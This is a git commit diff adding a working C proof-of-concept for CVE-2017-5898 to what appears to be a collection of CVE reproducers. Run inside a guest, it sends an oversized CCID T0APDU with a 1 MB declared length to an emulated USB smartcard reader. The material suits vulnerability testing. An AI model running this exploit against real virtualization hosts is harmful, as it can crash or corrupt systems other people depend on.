summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--.gitignore1
-rw-r--r--Makefile7
-rw-r--r--cve-2017-5898.c141
-rw-r--r--usb.c64
-rw-r--r--usb.h8
5 files changed, 220 insertions, 1 deletions
diff --git a/.gitignore b/.gitignore
index 6e7d22b..987cf04 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1 +1,2 @@
cve-[0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9]
+*.o
diff --git a/Makefile b/Makefile
index af9d16c..afb1f89 100644
--- a/Makefile
+++ b/Makefile
@@ -5,11 +5,15 @@ CFLAGS += -Wall
CVETEST := cve-2016-3712
PCITEST := cve-2017-2615
-TARGETS := $(CVETEST) $(PCITEST)
+USBTEST := cve-2017-5898
+TARGETS := $(CVETEST) $(PCITEST) $(USBTEST)
$(PCITEST) : CFLAGS += $(shell pkg-config --cflags libpci)
$(PCITEST) : LDLIBS += $(shell pkg-config --libs libpci)
+$(USBTEST) : CFLAGS += $(shell pkg-config --cflags libusb-1.0)
+$(USBTEST) : LDLIBS += $(shell pkg-config --libs libusb-1.0)
+
all: $(TARGETS)
clean:
@@ -17,3 +21,4 @@ clean:
rm -f *~ *.o
cve-2017-2615: cve-2017-2615.o pci.o cirrus.o
+cve-2017-5898: cve-2017-5898.o usb.o
diff --git a/cve-2017-5898.c b/cve-2017-5898.c
new file mode 100644
index 0000000..33ed63b
--- /dev/null
+++ b/cve-2017-5898.c
@@ -0,0 +1,141 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+
+#include "usb.h"
+
+#define CCID_MAX_PACKET_SIZE 64
+
+/*
+ * BULK_OUT messages from PC to Reader
+ * Defined in CCID Rev 1.1 6.1 (page 26)
+ */
+#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOn 0x62
+#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOff 0x63
+#define CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus 0x65
+#define CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock 0x6f
+#define CCID_MESSAGE_TYPE_PC_to_RDR_GetParameters 0x6c
+#define CCID_MESSAGE_TYPE_PC_to_RDR_ResetParameters 0x6d
+#define CCID_MESSAGE_TYPE_PC_to_RDR_SetParameters 0x61
+#define CCID_MESSAGE_TYPE_PC_to_RDR_Escape 0x6b
+#define CCID_MESSAGE_TYPE_PC_to_RDR_IccClock 0x6e
+#define CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU 0x6a
+#define CCID_MESSAGE_TYPE_PC_to_RDR_Secure 0x69
+#define CCID_MESSAGE_TYPE_PC_to_RDR_Mechanical 0x71
+#define CCID_MESSAGE_TYPE_PC_to_RDR_Abort 0x72
+#define CCID_MESSAGE_TYPE_PC_to_RDR_SetDataRateAndClockFrequency 0x73
+
+/*
+ * BULK_IN messages from Reader to PC
+ * Defined in CCID Rev 1.1 6.2 (page 48)
+ */
+#define CCID_MESSAGE_TYPE_RDR_to_PC_DataBlock 0x80
+#define CCID_MESSAGE_TYPE_RDR_to_PC_SlotStatus 0x81
+#define CCID_MESSAGE_TYPE_RDR_to_PC_Parameters 0x82
+#define CCID_MESSAGE_TYPE_RDR_to_PC_Escape 0x83
+#define CCID_MESSAGE_TYPE_RDR_to_PC_DataRateAndClockFrequency 0x84
+
+/*
+ * INTERRUPT_IN messages from Reader to PC
+ * Defined in CCID Rev 1.1 6.3 (page 56)
+ */
+#define CCID_MESSAGE_TYPE_RDR_to_PC_NotifySlotChange 0x50
+#define CCID_MESSAGE_TYPE_RDR_to_PC_HardwareError 0x51
+
+/*
+ * Endpoints for CCID - addresses are up to us to decide.
+ * To support slot insertion and removal we must have an interrupt in ep
+ * in addition we need a bulk in and bulk out ep
+ * 5.2, page 20
+ */
+#define CCID_INT_IN_EP (1 | 0x80)
+#define CCID_BULK_IN_EP (2 | 0x80)
+#define CCID_BULK_OUT_EP (3)
+
+typedef struct __attribute__((packed)) CCID_Header {
+ uint8_t bMessageType;
+ uint32_t dwLength;
+ uint8_t bSlot;
+ uint8_t bSeq;
+} CCID_Header;
+
+typedef struct __attribute__((packed)) CCID_BULK_IN {
+ CCID_Header hdr;
+ uint8_t bStatus; /* Only used in BULK_IN */
+ uint8_t bError; /* Only used in BULK_IN */
+} CCID_BULK_IN;
+
+typedef struct __attribute__((packed)) CCID_SlotStatus {
+ CCID_BULK_IN b;
+ uint8_t bClockStatus;
+} CCID_SlotStatus;
+
+int main(int argc, char *argv[])
+{
+ int len, xlen, pos, xfered, rc;
+ uint8_t buf[CCID_MAX_PACKET_SIZE];
+ CCID_Header *hdr = (void*)&buf;
+ CCID_SlotStatus *slot = (void*)&buf;
+
+ find_device("smartcard reader", 0x08e6, 0x4433);
+ fprintf(stderr, "init ok\n");
+ sleep(1);
+
+ /* ------------------------------------------------------------ */
+
+ fprintf(stderr, "checking slot status ...\n");
+ memset(buf, 0, sizeof(buf));
+ hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus;
+ hdr->dwLength = len = 10;
+ rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
+ exit(1);
+ }
+ fprintf(stderr, "slot-status out %d/%d\n", xfered, len);
+
+ memset(buf, 0, sizeof(buf));
+ len = sizeof(CCID_SlotStatus);
+ rc = libusb_bulk_transfer(hdev, CCID_BULK_IN_EP, buf, len, &xfered, 1000);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
+ exit(1);
+ }
+ fprintf(stderr, "slot-status out %d/%d\n", xfered, len);
+ fprintf(stderr, "status: 0x%x, error: 0x%x\n",
+ slot->b.bStatus, slot->b.bError);
+ if (slot->b.bStatus != 0x00 || slot->b.bError != 0x00) {
+ fprintf(stderr, "bad slot status (no card?)\n");
+ exit(1);
+ }
+ fprintf(stderr, "... ok\n");
+
+ /* ------------------------------------------------------------ */
+
+ fprintf(stderr, "sending extra large apdu\n");
+ memset(buf, 0, sizeof(buf));
+ hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU;
+ hdr->dwLength = len = 1024 * 1024;
+ pos = 0;
+ while (pos < len) {
+ xlen = (len - pos);
+ if (xlen > CCID_MAX_PACKET_SIZE)
+ xlen = CCID_MAX_PACKET_SIZE;
+ rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP,
+ buf, xlen, &xfered, 1000);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
+ exit(1);
+ }
+ pos += xfered;
+ fprintf(stderr, "\r%d/%d ", pos, len);
+ memset(buf, 0xaa, sizeof(buf));
+ }
+ fprintf(stderr, "done\n");
+
+ exit(0);
+}
diff --git a/usb.c b/usb.c
new file mode 100644
index 0000000..d212f85
--- /dev/null
+++ b/usb.c
@@ -0,0 +1,64 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+
+#include "usb.h"
+
+static libusb_context *ctx;
+libusb_device *dev;
+libusb_device_handle *hdev;
+
+void find_device(char *name,
+ unsigned int vendor,
+ unsigned int device)
+{
+ struct libusb_device_descriptor ddesc;
+ libusb_device **devs = NULL;
+ int rc, i, n;
+
+ if (!ctx) {
+ rc = libusb_init(&ctx);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_init failed (%d)\n", rc);
+ exit(1);
+ }
+ libusb_set_debug(ctx, LIBUSB_LOG_LEVEL_INFO);
+ }
+
+ n = libusb_get_device_list(ctx, &devs);
+ for (i = 0; i < n; i++) {
+ rc = libusb_get_device_descriptor(devs[i], &ddesc);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_get_device_descriptor failed (%d)\n", rc);
+ exit(1);
+ }
+ if (vendor != ddesc.idVendor)
+ continue;
+ if (device != ddesc.idProduct)
+ continue;
+ dev = devs[i];
+ fprintf(stderr, "%s found at %d:%d\n", name,
+ libusb_get_bus_number(dev),
+ libusb_get_device_address(dev));
+ libusb_free_device_list(devs, 1);
+
+ rc = libusb_open(dev, &hdev);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_open failed (%d)\n", rc);
+ exit(1);
+ }
+ libusb_set_auto_detach_kernel_driver(hdev, 1);
+ rc = libusb_claim_interface(hdev, 0);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_claim_interface failed (%d)\n", rc);
+ exit(1);
+ }
+ return;
+ }
+ fprintf(stderr, "%s not found\n", name);
+ exit(1);
+}
diff --git a/usb.h b/usb.h
new file mode 100644
index 0000000..f1bc42d
--- /dev/null
+++ b/usb.h
@@ -0,0 +1,8 @@
+#include <libusb.h>
+
+extern libusb_device *dev;
+extern libusb_device_handle *hdev;
+
+void find_device(char *name,
+ unsigned int vendor,
+ unsigned int device);